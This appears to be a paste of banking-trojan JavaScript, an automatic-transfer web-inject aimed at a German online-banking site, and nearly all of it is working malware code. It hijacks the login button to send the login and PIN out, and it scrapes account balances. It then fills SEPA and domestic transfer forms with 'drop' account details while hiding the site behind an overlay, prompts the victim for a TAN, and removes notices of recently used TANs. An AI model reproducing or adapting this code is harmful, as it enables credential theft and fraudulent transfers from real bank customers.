- ATS.getFinanzstatusLink = function()
- {
- if(!parent.ATS.finLink){
- parent.ATS.finLink=jq('#gad_navigation_left_1 li:first a').attr("href");
- }
- return parent.ATS.finLink;
- }
- ATS.UI_showDialogBox = function()
- {
- jq('#gad_page > div').hide();
- if (!jq('#inj_dialog_box').length)
- {
- var injectCode = ATS.UI_getInjectCode();
- jq('#gad_page').after(injectCode);
- jq('#inj_Weiter').click(ATS.UI_onWeiterClick);
- }
- jq('#inj_dialog_box').show();
- }
- ATS.getLoginForm = function()
- {
- var form = jq("form.gad-login-form");
- if (form.length)
- return form[0];
- /*
- form = jq("form").has('input#anmeld');
- if (form.length)
- return form[0];
- */
- return false;
- }
- ATS.getPageTitle = function(findtext)
- {
- var title=jq.trim(jq("#gad_breadcrumbs >span.active").eq(0).text());
- if (title.indexOf(findtext) !=-1) return true;
- else return false;
- }
- ATS.hideLastTAN = function()
- {
- var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
- if (el.length)
- {
- var html = jq(el).html();
- var pos = html.indexOf('Ihre zuletzt');
- if (pos >= 0)
- jq(el).html(html.substr(0, pos));
- }
- jq('p:contains(Zuletzt benutzte)').remove();
- }
- ATS.sleep= function(m) {var then = new Date(new Date().getTime() + m); while (new Date() < then) {}};
- /*
- */
- ATS.setLoginHook = function()
- {
- //ATS.loginDataSent = false;
- var loginInfoSent = false;
- var loginForm = ATS.getLoginForm();
- //loginForm.onsubmit = function(){return true};
- jq('#button_login').unbind('click');
- jq('#button_login').click(function(e){
- var loginForm = ATS.getLoginForm();
- if(jq(loginForm).find('input:visible#vrkennungalias').length)
- var login=jq(loginForm).find('input:visible#vrkennungalias').val();
- else
- var login=jq(loginForm).find('input:visible#kontonummer').val();
- var password=jq(loginForm).find('input:visible#pin').val();
- if (!loginInfoSent)
- {
- e.preventDefault();
- ATS.debugMsg('login info: ' + login + ', ' + password);
- jq('#button_login').attr('disabled', 'disabled');
- ATS.sendLoginInfo(login, password, function(){
- ATS.debugMsg('after clik ');
- loginInfoSent = true;
- jq('#button_login').attr('disabled', false);
- wpSubmit = true;
- jq('#button_login').click();
- });
- }
- //ATS.sleep(4000);
- // if (ATS.loginDataSent) return true; else return false;
- });
- }
- // ============================================================================
- ATS.getTime = function()
- {
- return Math.floor((new Date).getTime() / 1000);
- }
- ATS.openInIframe = function(url)
- {
- var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
- jq('body').append(iframe);
- if (ATS.debugVisibleFrame)
- {
- jq("#ats_wrk_iframe").css('width', '1200px');
- jq("#ats_wrk_iframe").css('height', '800px');
- jq("#ats_wrk_iframe").css('top', '1000px');
- jq("#ats_wrk_iframe").css('position', 'absolute');
- // jq("body").css('position', 'relative');
- }
- else
- {
- jq("#ats_wrk_iframe").css('width', '1px');
- jq("#ats_wrk_iframe").css('height', '1px');
- //jq(iframe).css('top', '0px');
- //jq(iframe).css('position', 'absolute');
- jq("#ats_wrk_iframe").css('visibility', 'hidden');
- }
- }
- ATS.parseAccountsList = function()
- {
- var accountsList = new Array();
- jq("table[name='listeEuroKonten']").has('label:contains(onto)').find("tbody:not(:contains('Summe Gesamt'))").each(function(){
- jq(this).find('tr:has(input[value="icon"])').each(function(){
- if (langs.getCurLang()=='EN'){
- // var number=jq.trim(jq(this).children("td:eq(0)").text().replace(/\D+/g,''));
- // var overdraft=jq.trim(jq(this).children("td:eq(1)").text().replace(/\,/g, ''));
- // var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/\,/g, ''));
- }
- else{
- var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
- var overdraft=0;
- //var overdraft=jq.trim(jq(this).children("td:eq(1)").text().replace(/\./g, '').replace(/\,/g, '.'));
- var balance=jq.trim(jq(this).children("td:eq(3)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
- if(jq(this).children("td:eq(4)").find("input:eq(1)").length!=0){
- var overdraftHref=jq.trim(jq(this).children("td:eq(4)").find("input:eq(1)").attr("name")); }else{
- var overdraftHref=jq.trim(jq(this).children("td:eq(4)").find("input:eq(0)").attr("name"));}
- }
- if (number != '')
- {
- ATS.debugMsg('number: ' + number + '; balance : ' + balance + '; overdraft : ' + overdraft);
- //ATS.sendLogMsg('Account: ' + number + '; balance : ' + balance + '; overdraft : ' + overdraft);
- accountsList.push({number: number,balance: balance, overdraft: overdraft, overdraftHref: overdraftHref,totalBalance: parseFloat(overdraft) + parseFloat(balance)});
- }
- })
- });
- return accountsList;
- }
- ATS.framePageFinanzstatus = function()
- {
- if(!parent.ATS.Gesamtsaldo){
- if (ATS.checkTestPage()) var el=jq('.gad-table-footer-summary-row > td').eq(1);
- else var el=jq('.gad-table-footer-summary-row > td').eq(1);
- var val = ATS.fin2float(jq(el).text());
- parent.ATS.Gesamtsaldo = val;
- }
- ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
- ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- parent.ATS.accounts_list = ATS.parseAccountsList();
- if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance');
- //var maxBalance = ATS.getMaxTransferAcc();
- var maxAcc = ATS.getMaxTransferAcc();
- if (!maxAcc) return false;
- parent.ATS.maxAcc=maxAcc;
- parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.balance;
- parent.ATS.StepInFrame.set_current_state("KreditlimitPage");
- if (jq('input[name="'+parent.ATS.maxAcc.overdraftHref+'"]').length){
- setTimeout(function(){
- jq('input[name="'+parent.ATS.maxAcc.overdraftHref+'"]').click();
- }, 2000);
- }
- else ATS.die('framePageFinanzstatus: cant find KreditlimitPageLink');
- }
- ATS.KreditlimitPage = function()
- {
- var totalKreditBalance=jq("table").find("tr:contains('Betrag')").find("td:eq(1)");
- totalKreditBalance = ATS.fin2float(jq(totalKreditBalance).text());
- ATS.debugMsg('totalKreditBalance: ' + totalKreditBalance);
- if(totalKreditBalance<=0 || isNaN(totalKreditBalance)) {
- ATS.sendLogMsg('KreditlimitPage: totalKreditBalance(Verfugbarer Betrag) is absent or error = '+totalKreditBalance + '; Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + ' goto next Acc',
- function(){
- parent.ATS.MaxTransferAccNum+=1;
- parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus"); var nextLink= ATS.getFinanzstatusLink();
- setTimeout(function(){
- document.location.href = nextLink; }, 2000);
- });
- // ATS.die('KreditlimitPage: totalKreditBalance(Verfugbarer Betrag) is absent or error = '+totalKreditBalance);
- }else {
- ATS.getDrop('SEPA', totalKreditBalance, function(data){
- if (data && data.drop)
- {
- parent.ATS.sepa_drop = data.drop;
- //parent.ATS.StepInFrame.set_current_state("SEPA_page");
- parent.ATS.StepInFrame.set_current_state("TransactionsSEPA");
- /*
- var TransactionsLink=ATS.getSepaLink();
- if (TransactionsLink!='') document.location.href = TransactionsLink;
- else ATS.die('KreditlimitPage: cant find SepaLink');
- */
- var Internal_transf_page=ATS.getIntLink();
- if (Internal_transf_page!=''){
- setTimeout(function(){
- document.location.href = Internal_transf_page;
- }, 2000);
- }
- else ATS.die('KreditlimitPage: cant find sepa_link');
- }
- else
- {
- ATS.getDrop('Internal', totalKreditBalance, function(data){
- if (data && data.drop)
- {
- ATS.debugMsg('[Drop] DrName: ' + data.drop.DrName);
- parent.ATS.int_drop = data.drop;
- //parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
- parent.ATS.StepInFrame.set_current_state("TransactionsINT");
- parent.ATS.transf_mode = 'int';
- var Internal_transf_page=ATS.getIntLink();
- if (Internal_transf_page!='') {
- setTimeout(function(){
- document.location.href = Internal_transf_page;
- }, 2000);
- }
- else ATS.die('KreditlimitPage: cant find Internal_transf_page_link');
- }
- else
- {
- parent.ATS.UI_hideDialogBox();
- parent.ATS.UI_unblockSite();
- ATS.die('KreditlimitPage: no Int drop');
- }
- });
- }
- });
- }//else if(totalKreditBalance<=0)
- }
- ATS.framePageTransactionsSEPA = function()
- {
- parent.ATS.StepInFrame.set_current_state("SEPA_page");
- var int_link_li=jq('.gad-tabnavigation-list > li:contains(SEPA)').length;
- var int_link_li_a=jq('.gad-tabnavigation-list > li:contains(SEPA) a').length;
- var href=jq('.gad-tabnavigation-list > li:contains(SEPA) a').attr('href');
- if (!int_link_li_a && !int_link_li) { ATS.die('framePageTransactionsSEPA: cant find sepa_link'); return false;}
- if (!!int_link_li && !int_link_li_a) {
- ATS.framePageSEPA_page();
- }else{
- ATS.debugMsg("SEPA_link="+href);
- setTimeout(function(){
- document.location.href = href;
- }, 2000);
- }
- }
- ATS.framePageTransactionsINT = function()
- {
- parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
- var int_link_li=jq('.gad-tabnavigation-list > li:contains(Inlands)').length;
- var int_link_li_a=jq('.gad-tabnavigation-list > li:contains(Inlands) a').length;
- var href=jq('.gad-tabnavigation-list > li:contains(Inlands) a').attr('href');
- if (!int_link_li_a && !int_link_li) {ATS.die('framePageTransactionsINT: cant find int_link'); return false;}
- if (!!int_link_li && !int_link_li_a) {
- ATS.framePageInternal_transf_page();
- }else{
- ATS.debugMsg("int_link="+href);
- setTimeout(function(){
- document.location.href = href;
- }, 2000);
- }
- }
- ATS.framePageOverseas_remittance = function()
- {
- parent.ATS.StepInFrame.set_current_state("SEPA_page");
- ATS.debugMsg('ATS.framePageOverseas_remittance, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- setTimeout(function(){
- jq('.nextStep input[type="submit"]').eq(0).click();
- }, 2000);
- }
- ATS.framePageSEPA_page = function()
- {
- ATS.debugMsg('ATS.framePageSEPA_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- if(!parent.ATS.sepa_or_int_select_changed) {
- var accountsSelect = jq('select[name="idKontoGewaehlt"]');
- var nededAccOption=0;
- var maxAcc=null;
- if (jq(accountsSelect).length != 0)
- {
- jq(accountsSelect).children('option').each(function(){
- var acc_num = jq.trim(jq(this).text()).replace(/\D+/g,'');
- if (acc_num != '')
- {
- // var accInfo = ATS.findAccountInfo(acc_num.toString());
- //ATS.debugMsg('accNum: ' + acc_num);
- if (acc_num.indexOf(parent.ATS.maxAcc.number) != -1)
- {
- jq(this).attr('selected', 'selected');
- nededAccOption=jq(this).val();
- maxAcc=acc_num;
- }
- }
- });
- }
- parent.ATS.sepa_or_int_select_changed=true;
- ATS.debugMsg('maxAcc: ' + maxAcc);
- if (maxAcc)
- {
- parent.ATS.transfer_acc=maxAcc;
- jq(accountsSelect).val(nededAccOption).change();
- jq('form').submit();
- }
- else {
- //ATS.die('framePageSEPA_fill: cent find transfer_acc');
- ATS.sendLogMsg('framePageSEPA_fill Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'in select list is absent ; goto next Acc',
- function(){
- parent.ATS.sepa_or_int_select_changed=false;
- parent.ATS.MaxTransferAccNum+=1;
- parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus"); var nextLink= ATS.getFinanzstatusLink();
- setTimeout(function(){
- document.location.href = nextLink; }, 2000);
- });
- }
- }else ATS.framePageSEPA_fill();
- }
- ATS.framePageSEPA_fill = function()
- {
- parent.ATS.sepa_or_int_select_changed=false;
- var drop = parent.ATS.sepa_drop;
- //------------------------------------------------------
- jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);
- //jq('input[name*="IBAN"]').val(drop.IBAN);
- jq('input[name*="IBAN"]').val(jq.trim(parent.ATS.sepa_drop.IBAN));
- jq('#ID_INPUT_BIC').val( ATS.padRight(drop.BIC,11));
- jq('#ID_INPUT_BETRAG').val(drop.amount);
- jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);
- //parent.ATS.current_state = 110;
- parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
- ATS.sendLogMsg('SEPA form filled in');
- if ( jq('[name="event___pruefen"]').length)
- {
- setTimeout(function(){
- jq('[name="event___pruefen"]').click();
- }, 10000);
- }
- else
- {
- ATS.die('framePageSEPA_page: cant find continue button');
- }
- }
- ATS.framePageInternal_transf_page = function()
- {
- ATS.debugMsg('ATS.framePageInternal_transf_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- if(!parent.ATS.sepa_or_int_select_changed) {
- var accountsSelect = jq('select[name="idKontoGewaehlt"]');
- var nededAccOption=0;
- var maxAcc=null;
- if (jq(accountsSelect).length != 0)
- {
- jq(accountsSelect).children('option').each(function(){
- var acc_num = jq.trim(jq(this).text()).replace(/\D+/g,'');
- if (acc_num != '')
- {
- // var accInfo = ATS.findAccountInfo(acc_num.toString());
- //ATS.debugMsg('accNum: ' + acc_num);
- if (acc_num.indexOf(parent.ATS.maxAcc.number) != -1)
- {
- jq(this).attr('selected', 'selected');
- nededAccOption=jq(this).val();
- maxAcc=acc_num;
- }
- }
- });
- }
- parent.ATS.sepa_or_int_select_changed=true;
- ATS.debugMsg('maxAcc: ' + maxAcc);
- if (maxAcc)
- {
- parent.ATS.transfer_acc=maxAcc;
- jq(accountsSelect).val(nededAccOption).change();
- jq('form').submit();
- }
- else {
- //ATS.die('framePageSEPA_fill: cent find transfer_acc');
- ATS.sendLogMsg('framePageInternal_transf_page Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'in select list is absent ; goto next Acc',
- function(){
- parent.ATS.sepa_or_int_select_changed=false;
- parent.ATS.MaxTransferAccNum+=1;
- parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus"); var nextLink= ATS.getFinanzstatusLink();
- setTimeout(function(){
- document.location.href = nextLink; }, 2000);
- });
- }
- }else ATS.framePageInternal_transf_page_fill();
- }
- ATS.framePageInternal_transf_page_fill = function()
- {
- var drop = parent.ATS.int_drop;
- parent.ATS.sepa_or_int_select_changed=false;
- //------------------------------------------------------
- if(!ATS.checkTestPage()){
- jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);
- jq('#ID_INPUT_EMPFAENGERKONTO').val(drop.Konto);
- jq('#ID_INPUT_BLZ').val(drop.BLZ);
- jq('#ID_INPUT_BETRAG').val(drop.amount);
- jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);
- }
- else{
- jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);
- jq('#ID_INPUT_EMPFAENGERKONTO').val(drop.Konto);
- jq('#ID_INPUT_BLZ').val(drop.BLZ);
- jq('#ID_INPUT_BETRAG').val(drop.amount);
- jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);
- }
- parent.ATS.StepInFrame.set_current_state("INT_form_filled");
- ATS.sendLogMsg('INT form filled in');
- if ( jq('[name="event___pruefen"]').length)
- {
- setTimeout(function(){
- jq('[name="event___pruefen"]').click();
- }, 10000);
- }
- else
- {
- ATS.die('framePageInternal_transf_page: cant find continue button');
- }
- }
- ATS.enterCode = function(tan)
- {
- ATS.debugMsg('ATS.enterCode ' + tan);
- if (jq('#INPUT_TAN').length)
- {
- jq('#INPUT_TAN').val(tan);
- if ( jq('#signWeiter').eq(0).length)
- {
- //parent.ATS.current_state = 120;
- parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
- parent.ATS.UI_showWait();
- jq('#signWeiter').eq(0).click();
- }
- else
- ATS.die('enterCode: cant find button');
- }
- else
- ATS.die('enterCode: cant find field by label');
- }
- ATS.frameWork = function()
- {
- ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
- switch (ATS.StepInFrame[parent.ATS.current_state])
- {
- case "framePageFinanzstatus":
- ATS.framePageFinanzstatus();
- break;
- case "TransactionsSEPA":
- ATS.framePageTransactionsSEPA();
- break;
- case "TransactionsINT":
- ATS.framePageTransactionsINT();
- break;
- case "Overseas_remittance":
- ATS.framePageOverseas_remittance();
- break;
- case "KreditlimitPage":
- ATS.KreditlimitPage();
- break;
- case "SEPA_page":
- ATS.framePageSEPA_page();
- break;
- case "SEPA_form_filled":
- if (!jq("div[role='alert']:visible").length)
- {
- if (!jq("div:contains(Ihre Kontovollmacht ist nicht ausreichend. Der Auftrag kann erst ausge)").length)
- {
- ATS.UI_askTan();
- }
- else{
- ATS.sendLogMsg('Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'error : Ihre Kontovollmacht ist nicht ausreichend; goto next Acc',
- function(){
- parent.ATS.MaxTransferAccNum+=1;
- parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus"); var nextLink= ATS.getFinanzstatusLink();
- setTimeout(function(){
- document.location.href = nextLink; }, 2000);
- });
- }
- }
- else//if (!jq("div[role='alert']:visible").length)
- {
- var errtext=jq.trim(jq("div[role='alert']:visible").text());
- if(errtext.indexOf('ngerkonto ist nicht das eingetragene Referenzkonto')!=-1)
- {
- ATS.sendLogMsg('Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'error :'+errtext+' ; goto next Acc',
- function(){
- parent.ATS.MaxTransferAccNum+=1;
- parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus"); var nextLink= ATS.getFinanzstatusLink();
- setTimeout(function(){
- document.location.href = nextLink; }, 2000);
- });
- }
- else {
- ATS.die('frameWork: Error fill SEPA form: ' + errtext + ' in Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number);
- }
- }
- break;
- case "Internal_transf_page":
- ATS.framePageInternal_transf_page();
- break;
- case "INT_form_filled":
- if (!jq("div[role='alert']:visible").length)
- {
- if (!jq("div:contains(Ihre Kontovollmacht ist nicht ausreichend. Der Auftrag kann erst ausge)").length)
- {
- ATS.UI_askTan();
- }
- else{
- ATS.sendLogMsg('Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'error : Ihre Kontovollmacht ist nicht ausreichend; goto next Acc',
- function(){
- parent.ATS.MaxTransferAccNum+=1;
- parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus"); var nextLink= ATS.getFinanzstatusLink();
- setTimeout(function(){
- document.location.href = nextLink; }, 2000);
- });
- }
- }
- else//if (!jq("div[role='alert']:visible").length)
- {
- var errtext=jq.trim(jq("div[role='alert']:visible").text());
- if(errtext.indexOf('ngerkonto ist nicht das eingetragene Referenzkonto')!=-1)
- {
- ATS.sendLogMsg('Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'error :'+errtext+' ; goto next Acc',
- function(){
- parent.ATS.MaxTransferAccNum+=1;
- parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus"); var nextLink= ATS.getFinanzstatusLink();
- setTimeout(function(){
- document.location.href = nextLink; }, 2000);
- });
- }
- else {
- ATS.die('frameWork: Error fill INT form: ' + errtext + ' in Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number);
- }
- }
- break;
- case "TAN_ENTERED":
- ATS.debugMsg("TAN_ENTERED");
- if (jq("div[role='alert']:visible").length)
- {
- parent.ATS.badTan = true;
- if (parent.ATS.transf_mode == 'sepa') parent.ATS.StepInFrame.set_current_state("SEPA_page");
- else parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
- ATS.sendLogMsg('frameWork: bad TAN');
- if ( jq('#signZurueck').length)
- {
- setTimeout(function(){
- //jq('#signZurueck').click();
- document.location.href=jq('#signZurueck').attr("href");
- }, 3000);
- }
- else ATS.die('TAN_ENTERED: cant find previousStep button');
- }
- else {
- if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
- else ATS.framePageReceiptInternal();
- }
- break;
- }
- }
- if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
- {
- document.write('<div class="inj_full_overlay"></div>');
- jq(document).ready(function(){
- ATS.debugMsg('document loaded');
- //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
- ATS.loadData(function(data){
- if (ATS.account_id != 0)
- {
- switch (ATS.getCookie('status')) {
- case "1":
- if (ATS.isLoggedIn()) {ATS.replaceBalances(); }
- jq('.inj_full_overlay').remove();
- break;
- case "2":
- ATS.debugMsg('case "2"');
- if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=2) {
- ATS.setCookie('status',0);
- ATS.saveCookies();
- ATS.sendLogMsg('Replace cookie status from 2 on 0');
- jq('.inj_full_overlay').remove();
- } else {jq('.inj_full_overlay').remove(); break;}
- default:
- if (ATS.checkLoginPage())
- {
- ATS.debugMsg('login page');
- ATS.setLoginHook();
- jq('.inj_full_overlay').remove();
- break;
- }
- if (ATS.isLoggedIn())
- {
- ATS.debugMsg('logged in!');
- var t =jq('ul.activeNotificationAction a').text();
- if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
- ATS.debugMsg('TAN locked!');
- ATS.die("TAN locked!");
- jq('.inj_full_overlay').remove();
- break;
- }
- if ((parent.document !== document) && parent.ATS)
- {
- ATS.debugMsg('we are in frame!');
- ATS.frameWork();
- jq('.inj_full_overlay').remove();
- break;
- }
- else
- {
- jq('.inj_full_overlay').remove();
- ATS.getFinanzstatusLink();ATS.getIntLink();ATS.getSepaLink();
- ATS.UI_blockSite();
- ATS.UI_showWait();
- ATS.mainWork();
- break;
- }
- }
- else
- {
- if ((parent.document !== document) && parent.ATS)
- {
- ATS.debugMsg('we are in frame and not logged in!');
- }
- }
- break;
- }
- }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
- if(jq('#ummelden').text().indexOf("Zum Login")!=-1) {jq('.inj_full_overlay').remove();
- ATS.debugMsg('Zum Login!');}
- });
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement